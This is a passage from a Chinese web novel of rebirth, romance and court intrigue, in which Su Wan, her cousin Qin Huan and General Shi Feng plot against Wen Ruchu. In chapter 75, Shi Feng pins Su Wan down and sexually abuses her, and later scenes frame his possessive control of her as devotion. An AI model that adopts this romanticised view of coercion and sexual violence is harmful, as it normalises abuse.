直至今日，三人相聚听泉阁，且都未带随从护卫。百户长和手下化装成宾客，要了隔壁房间，偷听他们之间的对话。
直到萧染突然掀翻桌子，大闹一场后愤然离去。百户长认为时机已到，遂全力出击，力图救出苏绾。
苏绾感到头疼，她该如何向百户长解释，秦欢并非恶人呢？
秦欢当然不是坏人，但萧染是。<
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她陷入了两难的境地，既要保护秦欢，又要应对萧染的威胁。
正当她犹豫之际，秦欢道：“你们可是来自京营？”
百户长大惊，“你怎么知道？”
秦欢道：“前几日，渡口处亮了腰牌的，可是你们？”
百户长几人渡口乘船时，毫无意外地又上当了，被当地人狮子大开口，敲诈索要五十两过河费。几个兵痞，哪里有银子？
百户长不得已，亮出了腰牌：“京营行军令，来人不得阻挡。”
秦欢竟然洞察秋毫。
百户长威胁道：“既知我来意，速速释放苏姑娘，敢说一个不字，白刀子进红刀子出。”
秦欢道：“你来得不是时候。”
百户长疑惑道：“什么意思？”
话未说完，忽然自胸口贸然伸出一柄长剑，刺穿百户长身体。
百户长满嘴鲜血，扭头看过去，竟是一位络腮胡。
身后响起一声怪笑，襕衫公子道：“意思是，今天是你的祭日。”
络腮胡猛然拔出长剑，百户长喷血而亡。令外几名蒙面人也被刺杀。
苏绾目睹整个过程，双眼瞪得大大，不敢置信所发生的一切。
萧染，他、他怎么又回来了？
萧染道：“我怎么不能回来？被人骂了一通，总要让我回嘴吧。”
秦欢道：“你杀了京卫指挥使手下的百户长，当受死罪。”
萧染道：“死就死吧，我死了也不是一回两回了，你能把我救回来。”
秦欢道：“我才懒得管你。”
原来他们两人前番一直在演戏，就为了逼出蹲守暗处的百户长。
苏绾恨不得咬舌自尽，她自以为聪明的运用小手段，离间秦萧联盟。殊不知，就连她自己，也在别人算计之中。
这份怨怼绵延了两日。
苏绾借口说自己身子不便，刻意躲着秦欢不见他。
秦欢自知理亏，也不强求，温声嘱咐无霜：“等下我叫童子送一碗燕窝羹来，给表妹补补身子。”
无霜做了传话筒，“小姐和秦大夫闹别扭了？”
苏绾冷然道：“我们此行耽搁太久，该上路离开了。”
她并非怨恨秦欢，她是担心秦欢杀了百户长，时枫会追上门找他算账。那个家伙，杀红眼的时候，连萧染也挡不住他，山寨里发生的一切，至今历历在目。
是夜。
无霜白日里收拾行李，想着要带上那件青州府的花边，可是春蝉不许她拿：“姓秦的和姓萧的，联手杀了时将军的部下。坏人经手的玩意，你怎么可以拿呢？”
无霜无言以对，可她又实在舍不得那件漂亮的花边，镶嵌在袖口、裙边多好看啊！趁着夜深人静，无霜悄悄离开厢房，打算将花边塞进马车缝隙。
借着模糊的月光，她一路摸到马厩，找到马车，袖里掏出花边，对着明月看了又看。镂空的纹路将一轮满月割裂，拼成一只雪燕，闪着微光，格外光彩夺目。
无霜满心欢喜，正要寻觅藏匿花边之处，两手乱摸，忽然摸了一手温软。
耳边响起熟悉且冷漠的声音：“别动。”
（未完待续）
75. 重逢
噗。
一豆烛火熄灭，世界瞬间被漫无边际的黑暗吞噬。窗外明月皎皎，草丛促织始鸣，哀音细微入耳。月光透过雕花窗棂，洒在妃色床帏花边，映出柔和唯美的光辉。
苏绾才刚沐浴熏香，紧绷的身体得到了放松，此刻她四肢摊开，慵懒地躺卧在椒床上，却没有一丝睡意。
白日里，她豪情万丈，抖擞精神，指点江山，欲与天公试比高。
她以为自己是天选之子。
听泉阁一役败北，让她见识到，何为真正的权谋艺术。
与她料想的不同，男人的权谋世界，到处充满了诡谲奇异、险象环生、高潮迭起的较量，一环扣着一环，层层叠叠，令人目不暇接。
在这之前，她对权谋的认知，仅仅局限于“争风吃醋”、“挑拨离间”、“美人计”等闺阁手段，不过是孩童扮家家酒的小把戏，根本拿不上台面。
风光澹荡小侯爷萧染，看似胸有成竹，运筹帷幄，实则只是这场权谋游戏中的一枚棋子而已。
真正幕后操纵一切的策划者，是那位光风霁月，决胜千里之外的医馆郎中——秦欢。
秦欢的真正目的尚且不明，但总归不是他随性而为之。这一世的秦欢，与之前的秦欢相比，有着细枝末叶的微妙差异。他的眼眸，也不再清澈明净，莫名增添一股淡淡的哀怨，仿佛被乌云遮蔽，让人难以窥见深处的情感。
他在恨谁？
无故阴风恻恻，带着几分不祥的气息，吹动床帏幔帐索索作响，仿佛有什么东西在暗中窥视。
苏绾感到一阵寒意袭来，不由得打了一个寒颤，她紧了紧身上的薄被，自言自语道：“人道是七月流火，怎得这般晚来风凉？”
身后无声无息地漫入一憧黑影，暗夜幽灵般出现在床帏之外，低沉的嗓音寒气逼人，遽然打破这夜的宁静。
“亏心事做多了，自然背后发凉。”
熟悉的声音钻入耳际，苏绾只觉全身血液瞬间凝固，头皮都要炸裂，心跳咚咚如擂鼓，紧张得几乎要跳出胸腔。
她想要翻过身来，看清楚来者何人，不料沉重的身躯自上而下堕落，强有力的大手剪着她的一双玉臂，将她牢牢扣在床板，浑身动弹不得。
熟悉的松香气息铺面而来，声音低沉而充满威胁，带着一丝嘲讽和愤怒，“表妹？你可真让我犯恶心。”
鼻翼凑近发髻，轻嗅青丝芬芳，温柔体贴的动作，掩盖不住浓浓的杀意，“小婊子，学会勾引男人了，还敢杀我的人，不想活了？”
“你以为背乘大树好风凉？想得美！我绝不会放过你！”男人似乎越说越兴奋，声音中充满了决绝和报复的快感。
苏绾对他这副梦魇模样并不陌生，昔日画舫中，他就是这般压着她的身体，让她无可辩驳，也无法挣脱。
黑豹埋首趴伏洁白脊背，啃噬撕咬，留下斑驳齿痕，如同野兽标记领地。苏绾拼命挣扎，奈何势单力薄，根本不是这头猎兽的对手，任由他肆意妄为。
男人狠狠啐了一口，“背信弃义的婊子。”
他的怒气化作一抹钝刀，直直穿心而过，反复搓磨。苏绾感到一阵剧烈的疼痛，仿佛连灵魂都被撕裂。泪水无声地坠落在无穷的黑夜中，如同断线的珍珠，一颗颗滑落。
过了一阵，黑豹折腾累了，从苏绾身上爬下来，留下她独自一人躺在冰凉的床板。月光洒落床帏，照在她洁白如玉的肌肤上，如同一座雕像，静静地承受着月光的洗礼。
苏绾的声音带着一丝颤抖，“解气了？”
男人报以愤怒的恨意，“我非杀了你不可。”
苏绾反倒不怕了，面色平静，“那你杀了我。”
男人攥着拳头，青筋暴起，眼神中闪过一丝复杂的情绪，“想死，没那么容易。你欠我的，我要你一笔一笔还回来。”
他想要的不仅仅是苏绾的生命，更是她的灵魂，她的一切都要为他所控制，所折磨，直到他心中的怒火彻底熄灭。
自前日接到前方幸存兵士飞鸽传书，告知百户长死讯，以及追踪苏绾中了埋伏之始末，令时枫大为震惊。
他只知苏绾前去济南探访故人，不曾想，这位故人竟然和萧染沆瀣一气，而苏绾也成为帮凶。这个消息如同晴天霹雳，让他的世界瞬间颠覆。
时枫恨不得将苏绾碎尸万段，当下骑着踏月就要去追凶，唯有亲手将仇人斩于马下，才能平息他的满腔怒火。
晴雷死死扯住时枫的衣袖，苦苦哀求道：“爷，此去乃不归路，违抗圣旨，当诛九族！”
无奈时枫根本听不进去他的话，晴雷只得一路紧随其后。然而他的马哪里跟得上踏月的步伐，没走几里路就被远远落在后面。最后逼得晴雷一顿快马加鞭，拼死追上时枫以后，干脆一屁股坐在时枫身后，死活不肯下马。
他紧紧抱住时枫的腰，耍起无赖，“属下就算死了，也得跟着爷。”
时枫怒吼：“滚！”
时枫无瑕管他，就这样二人一马，急行四百里，日落之前强行渡过黄河，后来连踏月都不要了，径直摸到医馆里来。
晴雷守候院内马厩，时枫悄悄潜入厢房，动作轻盈而迅速，如同夜色中的幽灵，悄无声息地接近目标。今夜，他必须找到苏绾，揭开所有的谜团，为百户长报仇。
苏绾默默坐起身，穿好衣裙，她心中有件事想要确定，这对她来说很重要。
时枫威胁道：“我这就去杀了你的表哥，看你还能有啥好果子吃！”
每一个字都像是一把锋利的刀，直指苏绾的心。
苏绾翻了翻星眸，“你爱信不信，我与秦欢之间，是清白的。”
时枫冷笑道：“秦欢？听名字就知道不是好东西。一对奸夫霪妇，我绝不会放过你们。”
苏绾玉手探入玄色衣襟，她的动作轻柔且突兀，似乎在寻找着什么证据。才刚深入半寸，却被大手一把抓住，
“你干什么？引诱本将军？没用的！”男人的声音带着愤怒和警惕，他的眼神中充满了不信任。
苏绾翻了翻白眼，细长手指硬往里钻，艰难入了一寸多。指尖触及一道疤痕，一寸来长，陷进肌肤极深。
她心里有了底。
老道说得没错，时枫的确为她剖心刮骨取出了银针，留下这道深入骨髓的疤痕。其实在京郊山洞，她曾无意中见过这道疤，可惜当时并没有在意。
正要抽出，忽然指尖又探到一处深坑，皮肉还未完全愈合，摸上去硬硬一层血痂，底下连着血肉。这是诏狱留下的战绩，是时枫曾经受过的苦难最有力的证明。
苏绾眼前一黑，她倏地抽出手掌，咬着朱唇道：“你信我一次，我没有背叛你。你快走吧，萧染必是设好了陷阱，等着看你往里跳。”
“我已决定明日一早离开济南，继续南下向
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扬州出发，去查找娘亲的过往经历。你也知道，我并不是苏君识亲生女儿，我的父亲另有其人。我此行只为寻根，不是要逃离你。”
她这一席话半真半假，掺杂着矫揉造作的眼泪。儿女私情，虽说在战场上起不到作用，用来骗骗大将军，还是有效果的。
时枫立刻就信了，声音软了下来，“既知自己非苏家亲生，为何又来济南寻哪门子的表哥？”他的声音中带着一丝疑惑，似乎在寻找着苏绾行为背后的逻辑。
苏绾无奈道：“我一路逃亡，后有追兵，前路未卜，总要找地方歇脚，再讨些盘缠路费。”
“秦欢不过是个大夫，只是没想到，秦欢与萧染竟是旧识。”她低着头轻声道，声音中带着一丝遗憾。
秦欢的底细，时枫来时的路上早已查探清楚。他直觉上认为，秦欢没那么简单，但他又没有证据。苏绾的话，让他心中的疑虑更深了。
忽然门外响起人语：“阁下莅临寒舍，怎不叫人传报？”
时枫凤眸一沉。
月朗星稀。
晴雷单膝屈立，搭坐车辕，擦拭秋水雁翎刀。刀身挺直，刀尖处有弧度和反刃，因形似雁翎而得名。
无霜小小身躯缩在角落，她知道自己不该躲在车厢里，可她按捺不住满溢出来的好奇心，无论是对那刀，还是那人。
她盯着雁翎刀看了看，“你杀过人吗？”
晴雷点点头，“很多。”
无霜努努嘴，“很多是多少？”
晴雷想了想，“几百个吧。”
无霜杏眼圆睁，“几百个！你、你是刽子手啊？”
晴雷嗤笑一声，“刽子手算个什么东西，我可是皇家护卫。”
晴雷出身贵族世家，因天资聪颖，骨骼清奇，从小被选中入宫接受严格武术训练。九岁时由皇帝钦点，配给绥靖王世子做贴身侍卫。乃根正苗红，锦衣卫嫡传弟子，一身曳撒服，腰配雁翎刀，即为最好的身份与实力证明。
“哦。”无霜眨了眨眼眸，若有所悟。
她自七岁被苏家买来做丫鬟，因性格内向，不争不抢，入不了嫡女的闺房，被丢给不受宠的二小姐。苏绾的月例最少，逢年过节发放礼金总没有她的份，连带着无霜也常常饿肚子。
但她不后悔。
苏绾从不打骂她，还在管家嬷嬷面前维护她，照顾她，待她如亲生姐妹般。
可小姐自从认识黑狗将军以来，没有一天笑着入睡，常常弄得一身伤痕不说，还要抓大牢审问、遭山匪劫持、被歹徒追击。如今困在这医馆里，也躲不掉黑狗将军的千里追杀。
你看，这不就来了么。
无霜撇了撇小嘴，“你是坏人。”
四个大字砸在晴雷头上，压得他差点吐血，“咳咳，我是好人！”
他眼珠转了转，“我们爷也是好人，他是专程来救你家小姐的。”
话音刚落，忽然院子里发出阵阵嘈杂声，貌似有大队人马涌入庭院，脚步声连绵不绝。
晴雷一震，“坏事了。”
他光顾着同无霜闲聊，忘记时枫交给他的重要任务——盯梢。
晴雷握紧雁翎刀，三步并作两步，急急窜出马厩。
院内灯火通明，黑压压的人群挤满每一个角落。
厢房内，秦欢与时枫坐于案边，苏绾萧染两人站在一旁。
（未完待续）
76. 密谋
苏绾做梦也想不到，有朝一日，秦欢与时枫，两个完全没有交集的人，会坐在同一张桌案前——虽然会晤并非出于双方自愿，并且显然这也不是一场和谈。
秦欢是恭而有礼的儒士，谈吐文雅，学识渊博，面上永远挂着温和的笑意，从不与人为敌。
而时枫简直就是秦欢的反面，性格孤傲，阴鸷冷戾，一言不合，下一刻就要上手掐人喉咙。
重生初见他时，她就被他掐过脖子，差一点就将她再次打入轮回。后背还残留着猎兽的斑驳齿痕，隐约传来丝丝痛感。那荒唐一幕，幸好没被人发现，苏绾情不自禁打了一个冷颤。
真是个狗东西。
苏绾恨恨地想。
“狗东西”一脸怒容，抱着手臂嫌弃圆凳太小，非要苏绾亲自去给他拿太师椅，还不许别人帮忙。
等到苏绾哼哧哼哧搬来椅子，狠狠瞪了他一眼以后，男人这才满意地将身体埋进椅身，仰头靠向椅背，两手握住椅臂，长长地吐一口气。
吁——
他半阖眼眸，手指轻叩椅臂，语气淡淡道：“你杀了我的人，千方百计引我上钩，好大的胆子！你可知惹怒本将军的代价？”
一切皆为陷阱。
先是秦欢借着说和的名义，邀三人相聚听泉阁。席间萧染装未谈拢，假嗔掀桌离去；
再有诱骗潜伏的百户长上当，致其做出错误判断，率兵破门而入，遭去而复返的萧染埋伏；
才有时枫狂飙二百里，上门寻仇报复，结果落入圈套，被强制摁为座上宾。
显然，秦欢的目的，从一开始就是冲着时枫来的。
苏绾替秦欢捏了一把汗，毕竟惹怒冷面阎罗的代价，在座各位没人承受得起。
秦欢全程静静地看着大将军耍脾气，当着自己的面对苏绾颐指气使。他向前恭了恭身，嘴角挂着那抹万年不变的和煦笑意，“大行不顾细谨，今番若能成事，秦某死不足惜。”
蓦地眼眸一沉，“不怕向将军直言，鄙人之所求，唯有一件小事而已。”
一字一顿，咬牙道：“我要温如初，死、无、葬、身、之、地。”
秦欢眼眸卷了卷，仿佛经历万世风雪。
苏绾的错愕，与时枫的惊诧，相得益彰。
她暗自猜测，许是从萧染的口中，秦欢得知不少关于苏温两家的爱恨情仇——这在京中早已不是秘闻。但萧染不过略微知晓婚约、山寨等皮毛，秦欢又何故与温如初结怨？
上一世，尽管苏绾竭力隐瞒，她与秦欢私相授受，珠胎暗结的消息，最终还是传进温如初的耳朵。
温如初眉毛未曾动一动，嘴角扬了扬，鄙夷地说了句：“你选了一个窝囊废。”
苏绾以为，他就此放过了他们，谁知......
往事不堪回首。
时枫则完全想不通秦欢的初衷，在他眼里，秦欢无缘无故搭上性命对付温如初，虎口里拔牙，难道为了替所谓的“表妹”出口恶气？
吃饱了撑得！
况且，他还未说什么呢！哪里轮得到一个外人，对他的女人指手画脚。
时枫撇了撇嘴，冷冷扔出一句：“我不干。”
凤眸炯炯，睥睨对方，“哼，要本将军为虎作伥，替你卖命，痴人说梦。”
他的反应，尽在秦欢预料之内，他微微一笑，四两拨千斤，“将军可有别的选择？先不说这小小医馆内，埋伏的都是我的人；放眼整个济南府，也多有我的耳目。济南府的正四品知府，乃我族内亲眷，你去问问他，可愿听你指挥？”
秦欢说得没错，此时时枫犹如困兽，根本没有任何援助。若凭他和晴雷两人，拼死冲出重围，尚有一线生机。可是对方挟持了苏绾在手，彻底封死了他的退路。
时枫不死心道：“你当我吓大的？本将军想走，任谁都拦不住我。”
秦欢道：“那是当然，将军威震四方，我这点鬼蜮伎俩，自然上不得台面。”转而又道：“只是错过了这次机会，将军想要再拿温如初，可就难了。”
他的眼眸讳莫如深，眸底暗藏杀机，令时枫感到莫名其妙，不知秦欢的决心与斗志，究竟从何而来。
时枫忍不住问道：“温如初怎么你了，让你这般痛恨他？”
秦欢笑道：“实不相瞒，鄙人对表妹一见倾心，闻得表妹受制于温如初的婚约，心内着实愤怒，愿倾尽己力，替表妹扫清一切障碍。”
他这一席话，前半句出来，已然炸了锅，后面说的什么，在场没人在意。
先不说别人，萧染第一个就炸了，细长眼眸瞪溜圆，襕衫一甩，上前急道：“这等私密之事，怎可与外人沟通？难不成，你、你真想与她入洞房，结良缘？”
秦欢瞪了他一眼，“这里没你的事，滚一边去。”
当事人苏绾一脸茫然：秦欢，表哥，他……
上一世，秦欢与她恪守礼节，相敬如宾，以“温夫人”相称，极少当面向她表露爱意。他的爱深沉，温润，似一湾深海，沁人心脾。
可眼前实在不是表白的好时机啊。
果不其然，时枫蹭的一下从太师椅站起身，双手握拳，狠狠砸向桌案，震得案上花瓶倾覆，花瓶里的水洒出来，溅了秦欢的袍子一身湿。
时枫骤然伸出两手向前一探，隔着圆圆的桌案，揪着秦欢的衣领，强行拉扯凑向面前，目露凶光，恶狠狠道：“我杀了你。”
苏绾急道：“不要乱来！快住手！”
萧染急命：“快拿我的叉子来。”
秦欢摆摆手，示意萧染勿动。
他勇敢迎上那双凤眸，凛然道：“我知将军对表妹情深似海，我亦如此。你杀了我，于你，于她，没有半点好处，反倒替敌人扫除了障碍，何苦来呢？”
“你我当联手，以除掉温如初为己任，剩下的事情，以后再议不迟。”
“温如初如日中天，笼络阁老，染指后宫，很快，他还要谋朝篡位，杀尽天下忠良。”
“我秦氏一族，阖族唯仰仗贵妃繁衍于世。贵妃皇后鹬蚌相争，今皇后得温如初庇佑，贵妃必败！而我秦氏，也将全族覆灭，永堕沉沦。”
眼眸里闪过前世的一幕幕惨状，令秦欢陷入痛苦的回忆中。
苏绾首次听说近日宫中剧变，心中颇为震撼，也无暇思考秦欢话语中的逻辑漏洞——他如何能笃定贵妃必败？
时枫早已在酒席上，从李鹤鸣的嘴里套出这些后宫纷争内幕，对秦欢的话，心里有了几分认同，他蓦然松开手，“哦，原来是为了贵妃啊，你这么说，我就明白了。”
他绝不屑于跟情敌共谋出路，合力打败另一个情敌。倘若是为族人安危，这个理由他全盘接受。
时枫揉了揉手指骨节，重新坐进太师椅，“说吧，你的计划如何。”
秦欢的计划，简单而大胆：
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不日温如初即将抵达泺口渡，他将在官船设下埋伏，待得温如初乘船渡河时，将其一举拿下。
时枫嗤笑道：“他怎就一定会上你的船？他不会自己雇船吗？又或者，他根本不走泺口渡这条栈道。”
秦欢道：“官渡，民渡，都是一样的。山东境内三个渡口，所有往来船只，都是我的人。”
时枫眉头一皱，“即便如此，你也无法保证，他会乖乖束手就擒。他身边不乏高手，就连他自己也懂点拳脚功夫。”
秦欢道：“这就要看时将军了，不求你出手，只要你堵住他的逃生路线即可。”
时枫道：“整个京城都知道，我今与他反目成仇，他必是时时刻刻防着我。我又怎能有机会接近他的身边呢？”
秦欢道：“此为阳谋。就是要让将军与他来一场真刀真枪的较量，届时我的人会配合将军进行全船围剿，让敌人无处可逃。”
秦欢的策略，周密而完备，不可谓不可行。此人心思缜密，神秘莫测，绝不可小觑。他既承认自己钟情于苏绾，日后必定成为他最大的麻烦。
时枫撇撇嘴，“你就这么信任我？”
秦欢笑道：“冷面阎罗的名号，我自听说过，也十分钦佩。这桩事，非将军不可。”
两人遂讨论一番具体实施过程。临到末尾，却为一件小事莫名争吵不休。
时枫道：“我不管，苏绾我必须带走，绝不可能将她留给你。”笑话，把他的女人留给他的情敌，他可不傻。
秦欢态度强硬：“不可，此行任务艰险，表妹出了事情怎么办？”他绝不会将苏绾，拱手送到温如初手里。
时枫耍起无赖，“那好吧，我不干了，一样要带她走。你能奈我何？”
秦欢丢了一个眼神，萧染立刻会意，吩咐道：“把我的叉子拿来！”
苏绾眼看三个人吵吵嚷嚷，像小孩子争梨，双方各执一词，旁边还有帮腔作势的。
她面色一沉，“吵什么吵，烦死了！都给我闭嘴！”
三人同时停止争吵，目光齐齐望着她。
苏绾怒道：“可曾有人问过我的感受？我是一颗棋子，还是一只梨子？”
三人被她训斥一顿，竟都不由自主地低下头，彼此都不说话，莫名地安静。
苏绾沉着道：“我决定了，我要回去。”
三人同时抬起头。
苏绾攥了攥拳，按照他们三人的说法，温如初已在不知不觉中，提前一步控制了内阁和后宫，这一消息大大出乎她的意料之外。
上一世，等到温如初筹谋到这一步时，足足用了三年的时间。
时不我与，再不出手，为时晚矣。
苏绾道：“我会亲自说服温如初上船，并与他相处一室，不让他有任何机会遁逃。”
“另外，时将军此行来到医馆，可说是专门为接我回去，这样也利于遮掩秦欢的行踪，不至于被敌人看清咱们的底牌。”
“我有办法，让温如初相信我。”
一席话震慑众人，苏绾竟然有如此勇气和谋略，简直让人刮目相看。
秦欢虽担心她安危，然而见她坚持己见，也便不再强求。
时枫自是得意，“你总算做对了选择。”在他看来，苏绾此举，等于是在他和秦欢之间，选择了他。美哉洋洋乎！
四人商定详细计划，直到夜深人静。
（未完待续）
77. 赶路
银白骏马，载着一双妙人，枕着硕大的月亮，星夜兼程。
苏绾坐在颠簸的马背上，双手紧揪着马鬃，身体略微伏低，随着马儿踢踏的步伐上下起伏。她感到背后传来阵阵寒凉，仿佛有一股深不见底的怨气，从后方源源不断涌出，让她不寒而栗。
她轻咬着红润朱唇，声音中带着一丝不满，“喂，你难道不能为我单独准备坐骑吗？咱们非得共骑一匹马？踏月载着俩人的重量，也会疲惫啊。”
身后传来男人冷峻声音，带着不容置疑的决绝，“别以为我不知道你的诡计，还想要骑马逃之夭夭？我不会给你任何机会逃脱。”
说着，握着缰绳的手臂骤然收紧，将苏绾紧紧地箍在怀中，几乎让她喘不过气来。
苏绾双手压着粗壮的胳膊，挣扎着向上挪动身体，勉强挤出一丝缝隙来呼吸。她的脸颊因为憋闷而涨得通红，嘴唇也被咬得失去了血色，皎皎月光映照下，星眸也几欲失去光彩，她轻声嗔怪：“你这是何苦呢？在这荒郊野岭，夜黑风高处，我能逃到哪里去？而且，我们不是已经说好了吗，我会跟你回去，共同对抗温如初。连这点信任都没有，将来如何能并肩作战！”
话音刚落，便引来了男人的无情冷笑，“啧，就凭你那些小聪明小伎俩，还梦想着与本将军并肩作战？痴人说梦！我抓你回去，不过是要将你牢牢绑在我的身边，让你无处可逃。你这只狡猾的小狐狸，稍不留神就会溜走，这次我绝不会再放手。”
苏绾心中涌起一股寒意，她历经了无数的艰难险阻，想尽各种办法，没想到最终还是沦落到被囚禁，被束缚，被剥夺自由的地步。数月以来积累的信任与默契，仿佛在一瞬间破碎，化为乌有。
她感到自己如同一根轻飘飘的鸿毛，任何人都可以轻易地将她捏在手里，随意地插在腰间，当作一点装饰品，或者战利品，而她从此再也无法享受那自由自在的漂泊生活。
随着思绪的流转，她愈发觉得自己的命运充满了坎坷。重生一世，却依旧无法摆脱受制于人的命运。心中的世态炎凉无处宣泄，最终化作泪水，从她的眼底悄然滑落，她开始轻轻地抽泣。
美人堕泪，让时枫瞬间感到手足无措。他原本还在赌气，气她不告而别，气她移情别恋，更气她与别的男人联手算计他。虽然最终他赢得美人归，但他并不认为自己的胜利有多么光彩，毕竟她只是答应跟他回去对付温如初而已。
这样的念头一旦开始，让他更加愤怒，他恨不得将苏绾绑在自己身上，与自己合二为一融为一体。
苏绾说她想要骑马，怎么可能！如果她骑了别的马，他还怎么将她紧紧搂在怀中？医馆里的那一夜，根本不算什么，彼时他满脑子想的都是如何折磨她，蹂躏她，根本不得尽兴。
他心里盘算着，等回到随行护卫队，他一定要在驿站会馆将她吃干抹净，哼，让她哭着求自己轻点慢点。
正当他沉浸在绯色无尽幻想中时，苏绾的哭泣声彻底打断了他的美梦。睇着她的眼泪，如同断线的珍珠，纷纷堕落，全部都落在他的心尖上。
“别哭了。”男人怒气瞬间消散，慌忙用大手替她擦拭泪水，声音柔和了许多：“不让你骑马，是想让你保留秘密底线，你也不想让温如初知道你会骑马，对吧？”
苏绾听到这话，身体猛地一震，她竟然疏忽了这一点！在这一世，温如初并不知道她会骑马，她的鲁莽很可能会破坏整个计划。
她不得不承认，与那个精明的黑狗将军相比，她就像是只纯洁无邪的小白兔，根本不是那个家伙的对手。
时枫的声音再次响起，带着不容置疑的坚定：“至于你提出的方案，你要亲自去说服他，与你共处一室，那是绝对不可能的，想都不要想。我不会将你拱手让给他人。过去如此，现在如此，将来也绝不会改变。”
男人的眼神坚定而深邃，仿佛在向苏绾宣告他的所有权：“你只需乖乖地听从我的安排，紧跟在我身旁，他不敢对你有任何不敬。无论发生任何事，我都会挡在你前面，不让你受到半分委屈。”
对他如此一番大义凛然的言辞，苏绾并不感到意外，她毫不怀疑他对她的庇佑，又或者可以称之为，忠诚。
男人忧虑道：“秦欢的计划，胜算不过六成。他太过低估温如初了。”
苏绾微微扬起下颌，眼中闪烁着自信的光芒：“那剩下的四成，你我各占一半。”
时枫不屑地笑了笑，“你还真是自视甚高，此行你无异于羊入虎口，自寻死路，还真以为自己有能力与他抗衡。只要你不给我添乱，我就已经感激不尽了。”
苏绾挑起眉梢，语气中带着一丝不服输的倔强：“咱们就拭目以待吧，我保证不会成为你的负担。”
两人经过一番唇枪舌战，忽然都意识到气氛已经悄然变化，不再像最初那般紧张对峙。
苏绾以衣袖轻轻拂去脸颊泪痕，好奇道：“你是怎么进入诏狱的，又是如何被释放的，快告诉我。”
时枫的眉头微挑，戏谑道：“这与你何干？我还没跟你算这笔账呢，这一路下来，我为你收拾的烂摊子，少说也有五六桩。按照我们的契约，你欠我的可不少！别提医馆那次，那不算数。”
苏绾双眼一瞪，心中暗骂这个家伙怎么总是三句话离不开契约，满脑子都是龌龊念头。但她知道自己在理上站不住脚，也无法反驳他，只能咬着唇瓣，委屈巴巴地说：“为什么不算数？难道我就白白被欺负了吗？太过分了！”
心中一阵酸楚，她的眼眶又红了，嘤嘤地又要落泪。
时枫见状，语气软了下来：“好了好了，这次就算我们扯平，以后的事以后再说。”
苏绾的嘴角偷偷地上扬了一个弧度。
时枫见她不再哭泣，这才意识到自己被她戏弄了，脸色一沉：“你这个狡猾的小东西，竟敢算计我，胆子不小啊！”
他随即举起手，作势要打她。
苏绾一惊，唯恐对方故技重施，又要借故惩罚
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她，连忙用手护住自己的后臀，苦苦哀求道：“榆白哥哥莫生气，绾绾不敢了。”
但她等了许久，那手掌却迟迟没有落下。苏绾心中莫名紧张，不知道又哪里触怒了他。
正当她胡思乱想之际，男人突然伸出手臂，勾着她的削肩，将她紧紧揽入怀中。
他低下头，额头轻触她雪白的鹅颈，声音低沉而温柔：“谢天谢地，我终于找回了你。”
*
月暗灯微，曙天将至。
晴雷遵照时枫的命令，留守医馆陪伴苏绾的几名随从。
小丫头春蝉见到侍卫晴雷到来，目光充满了崇拜，她一溜小跑趸至晴雷跟前，激动道：“大人，你今晚不走了吗？”
晴雷煞有介事地招手，假咳了一声，负手道：“世子爷有令，要我时刻守护各位，以防遭别有用心之人陷害。”
说完，拿眼角偷偷瞄众人的反应。
春蝉拍手道：“太好了！我早就期待，有机会和大人切磋一番武艺。捡日不如撞日，咱们抓紧时间，先来比试比试。”
她自被选中收入时枫帐下后，四处问询一阵，得知侍卫晴雷武功高强，乃锦衣卫嫡传弟子。心理一直琢磨着要与晴雷比武，可惜她之后很快就被苏家买去做扫院婢女，也没得机会再见到晴雷。后续的交流也只局限于飞鸽传书，传递情报而已。
说话间，春蝉自口袋掏出细鞭，风中呼啸一甩，发出劈啪的响声。
晴雷心中直呼好惨，与女流争斗，一点好处都没有，胜之则不武，败之脱层皮。他摆手推诿道：“今儿个太晚了，宜当早早歇息。”
正拉扯间，文竹跑出来看热闹，一眼瞧见晴雷，大吃一惊，指着对方结结巴巴道：“你、你是时将军的侍卫？”
晴雷因暗地跟踪过文竹，对他并不陌生，拱手笑问道：“正是在下。你可还好？”
文竹的白脸，瞬间涨得通红，手脚无处安放，有些不知所措。眼前的少年英雄，不仅是帮助他解决困难，顺利说服老道的智者；更是为他指明人生道路的导师，让他不再忍受屈辱与非难，站起身来勇敢面对自己。
文竹不好意思地笑了，低首道：“承蒙大人美意，小的还算过得去。”
俩人一来一回地交谈，谈及上回鬼市遭遇，感慨老道的奸滑狡诈；又谈到后续西城门的血腥之旅，文竹大大方方承认了自己的所作所为。
晴雷见他这般直爽，毫不遮遮掩掩，对文竹印象急剧提升；而文竹本就钦佩他少年才气勇毅，彼此都觉得颇为投缘。俩人兴致勃勃地谈天论地，因而冷落了一旁的春蝉和无霜。
眼见挑战不成，春蝉撅着小嘴，扯着无霜的衣袖，气呼呼地嚷着要回屋睡觉。
可她这一下，竟没能扯动无霜。
无霜痴痴地望着月下一双人影眉飞色舞交谈，激情火花四溅，她咬了咬唇，心中无端生出一丝嫉妒。
文竹是存心的！
*
（未完待续）
78. 驿站
晓鞍逐行，天地寥寥。
经过大半夜的长途跋涉，苏绾已是筋疲力尽，身躯疲惫不堪，腰腿酸痛难忍。若说她正值青春年华，体力尚佳，骑马夜行百里，亦不至于如此耗尽心神。实是那贴在背后的“黑狗将军”，如影随形，黏人至极。
一路上，要么箍着她的臂膀，要么贴着她的脊背，百十斤重量生生压制柔弱身躯之上，压得她如同弯腰驼背的老妪。她能不吐血，已算坚强不屈了。
“喂，你这人，骨头是棉花做的吗？好歹挪挪身子，我快被你压死了。”苏绾没好气似的抱怨道。
高大的身躯，如同黑鹰般俯卧单薄削肩，一动不动假装沉睡，面颊紧贴雪白鹅颈，贪婪地享受甜美的馨香与柔软的温度。
苏绾咬牙道：“哼，照这蜗牛般的行进速度，与大部队汇合还需两日之遥。到那时，黄花菜已经凉透了。”
听到佳人一番怨言控诉，那被戏称为“没骨头”的男人，眼角微挑，露出一抹狡黠的光芒，勾唇道：“你就这么心急如焚，赶着去送死吗？”
苏绾撇撇嘴，“你以为我们出来游山玩水吗？难道还要沿途赏景、闲逛市集不成？肩负重任，岂能耽搁！”
凤眸闪过一丝复杂的神色，似乎在权衡着什么，嘴角勾起一抹玩世不恭的微笑，“妙计，就依你之言。”
男人突然挺直腰板，恢复往日的英姿飒爽，动作迅速而果断，紧握缰绳调转马头，顷刻间离开官道，转入一条幽静的辅路。
苏绾心中一惊，脱口而出：“你要干什么？”她的心跳在胸腔中加速，揣测他又在捣什么鬼。
时枫不理睬她，策马奔腾，马蹄声显得格外清脆，他们穿梭于丛林中的小径，道路蜿蜒曲折，仿佛没有尽头。
路旁的灌木和荆棘无情地划过衣角和袖袍，引得苏绾连连埋怨：“这是要化身为野兽，回归丛林深处了吗？”
